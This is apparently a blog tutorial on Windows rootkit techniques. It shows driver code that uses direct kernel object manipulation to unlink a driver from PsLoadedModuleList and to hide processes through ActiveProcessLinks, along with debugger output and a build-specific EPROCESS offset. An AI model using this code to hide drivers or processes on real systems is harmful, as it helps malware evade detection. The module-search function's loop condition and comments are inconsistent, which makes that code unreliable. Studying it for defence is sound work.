1. Introduction
This is an implementation of a simple driver which modifies kernel data structures to remove itself from the PsLoadedModuleList
structure. Disclaimer: PG protects against this. Weaponizable by chaining with a PG bypass.
2. Data Structures
Understanding PsLoadedModuleList
PsLoadedModuleList
is a global kernel object of type _KLDR_DATA_TABLE_ENTRY
. It is the list head of a circular linked-list containing the loaded modules on the system. Example:
2: kd> ?PsLoadedModuleList
Evaluate expression: -8773737086640 = fffff805`34848150
2: kd> dt poi(fffff805`34848150) _KLDR_DATA_TABLE_ENTRY
DKOM_Demo!_KLDR_DATA_TABLE_ENTRY
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0xffffd78d`4ee49340 - 0xfffff805`34848150 ]
...
LIST_ENTRY Structure
We can see that information about the entry is offset to the actual LIST_ENTRY
structure, which holds the addresses of the next and previous _KLDR_DATA_TABLE_ENTRY
structures. If you’re not familiar, LIST_ENTRY
looks like this:
2: kd> dt _List_entry
ntdll!_LIST_ENTRY
+0x000 Flink : Ptr64 _LIST_ENTRY
+0x008 Blink : Ptr64 _LIST_ENTRY
The DRIVER_OBJECT Structure
As it turns out, each driver has access to its KLDR_DATA_TABLE_ENTRY
structure by its DriverObject->DriverSection
member at offset 0x28
. Just for completeness’ sake, the DRIVER_OBJECT
structure looks like this:
2: kd> dt PDRIVER_OBJECT
DKOM_Demo!PDRIVER_OBJECT
Ptr64 +0x000 Type : Int2B
...
3. Modification
Unlinking from PsLoadedModuleList
As such, one can simply access and traverse PsLoadedModuleList
using this member of DRIVER_OBJECT
. Additionally, directly hiding a module from the list is as simple as relinking the LIST_ENTRY
structures surrounding the driver’s:
PLIST_ENTRY PrevModule = ThisModule->Blink;
PLIST_ENTRY NextModule = ThisModule->Flink;
// Replace PrevModule Flink with NextModule's address;
PrevModule->Flink = NextModule;
// Replace NextModule Blink with PrevModule's address
NextModule->Blink = PrevModule;
// point target process to itself
ThisModule->Flink = ThisModule;
ThisModule->Blink = ThisModule;
And since you have access to the driver KLDR_DATA_TABLE_ENTRY
, you can check your work:
NTSTATUS FindKernelModule(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING DriverName) {
// Logic can be similarly used for finding the PsLoadedModuleList head. ntoskrnl.exe is always the head
PKLDR_DATA_TABLE_ENTRY pThisModule = (PKLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;
PLIST_ENTRY KModEntry = { nullptr };
PLIST_ENTRY FirstEntry = pThisModule->InLoadOrderLinks.Flink;
// https://m0uk4.gitbook.io/notebooks/mouka/windowsinternal/find-kernel-module-address-todo
// Loop over the circular linked-list
for (PLIST_ENTRY pListEntry = pThisModule->InLoadOrderLinks.Flink;
(pListEntry != &pThisModule->InLoadOrderLinks) &
(pThisModule->InLoadOrderLinks.Flink != FirstEntry);
pListEntry = pListEntry->Flink)
{
// Search for the driver you're trying to hide
PKLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(
pListEntry, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
if (RtlEqualUnicodeString(DriverName, &pEntry->BaseDllName, true)) {
// oops, you found it.
KModEntry = pListEntry;
return STATUS_SUCCESS;
}
}
// module was unlinked successfully
return STATUS_UNSUCCESSFUL;
}
Process Hiding
This same type of unlinking behavior can be used to hide a process. In kernel mode, a process can be looked up by its ID using PsLookupProcessByProcessId
:
// turn the PID into an EPROCESS pointer
PEPROCESS Process;
status = PsLookupProcessByProcessId((HANDLE)data->pid, &Process);
if (!NT_SUCCESS(status))
break;
Where PEPROCESS represent a pointer to an EPROCESS structure like this:
2: kd> dt _EPROCESS
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS
+0x2e0 ProcessLock : _EX_PUSH_LOCK
+0x2e8 UniqueProcessId : Ptr64 Void
+0x2f0 ActiveProcessLinks : _LIST_ENTRY
+0x300 RundownProtect : _EX_RUNDOWN_REF
+0x308 Flags2 : Uint4B
... (truncated
With a pointer to the target process’s EPROCESS structure in hand, it can be scanned for the ActiveProcessLinks
member. Once this member is found, hiding the process is the exact same for hiding a driver process:
// get the ActiveProcesLinks address
auto CurrentListEntry = (PLIST_ENTRY)((PUCHAR)Process + offset);
auto PrevListEntry = CurrentListEntry->Blink;
auto NextListEntry = CurrentListEntry->Flink;
// unlink the target process
PrevListEntry->Flink = NextListEntry;
NextListEntry->Blink = PrevListEntry;
// point target process to itself
CurrentListEntry->Flink = CurrentListEntry;
CurrentListEntry->Blink = CurrentListEntry;
On Windows 10 1901 build 18363, the ActiveProcessLinks
member is located at offset 0x2f0. This offset changes between builds.
4. Conclusion
The full source for an example driver can be found here.
Of course, none of this is anything new: